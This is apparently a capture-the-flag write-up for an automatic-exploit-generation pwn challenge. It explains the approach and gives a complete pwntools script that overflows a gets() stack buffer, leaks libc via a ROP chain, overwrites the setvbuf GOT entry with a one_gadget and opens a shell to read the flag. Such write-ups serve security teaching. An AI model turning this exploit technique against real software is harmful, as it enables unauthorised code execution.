Tags: pwn 

Rating:

Speedrun was a nth variation of aeg type challenge,

automatic exploit generation..

the exploit only call a gets fonction for input, on stack,

and the stack buffer's size for the gets changes at each generation of the executable...

we just made a pwntools program that decode the base64 program,

read the stack buffer size from the binary, (a sub rsp,offset) instruction

then a simple puts(got entry) to get a libc leak, calculate libc base,

and a gets, to write back a onegadget entry on another got entry (setvbuf)

then we call onegadget ..and that's all

ahh yes, I did a first run to identify the remote libc, which was: libc6_2.28-10_amd64.so

that's all..

![](https://imgur.com/9YkF6iN.png)

```python
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
from pwn import *
import base64

host = args.HOST or 'chal.imaginaryctf.org'
port = int(args.PORT or 42020)

io = connect(host,port)

# we receive the base64 encoded file
io.recvuntil('DATA---------------------------\n', drop=True)
encoded = io.recvuntil('----------------------------END DATA----------------------------', drop=True)
decoded = base64.b64decode(encoded)

# write it to a temporary file
f = open('pipo.bin', 'wb')
f.write(decoded)
f.close()

exe = ELF('pipo.bin')
libc = ELF('./libc.so.6')

def one_gadget(filename, base_addr=0):
return [(int(i)+base_addr) for i in subprocess.check_output(['one_gadget', '--raw', filename]).decode().split(' ')]

rop = ROP(exe)

# we read the stack frame size from the binary (could be a 32bit or 8bit displacement) sub rsp,offset
temp = u8(exe.read(0x401147, 1))
if (temp == 0x81):
size = u32(exe.read(0x401149, 4))
else:
size = u8(exe.read(0x401149, 1))

print('stack size: '+str(size)+' ('+hex(size)+')')

# buffer on bss
buff = exe.bss(0xa00)

pop_rdi = rop.find_gadget(['pop rdi', 'ret'])[0]
gadget_ret = rop.find_gadget(['ret'])[0]

# we dump puts got entry to leak libc address then with gets, we write back a onegadget address in setvbuf got entry, then call the onegadget
payload = 'A'*size+p64(0xdeadbeef)+p64(pop_rdi)+p64(exe.got['puts'])+p64(exe.symbols['puts'])+p64(pop_rdi)+p64(exe.got['setvbuf'])+p64(exe.symbols['gets'])+p64(exe.symbols['setvbuf'])

io.sendline(payload)
io.recvuntil('Thanks!\n', drop=True)

# we recevie our libc leak address
leak = u64( io.recvuntil('\n',drop=True).ljust(8,b'\x00'))
print('leak = '+hex(leak))
libc.address = leak - libc.symbols['puts']
print('libc base = '+hex(libc.address))

# send the one gadget address
onegadgets = one_gadget('libc.so.6', libc.address)
io.sendline(p64(onegadgets[1]))

io.sendline('id;cat flag*')

io.interactive()
```

*nobodyisnobody still pwning things*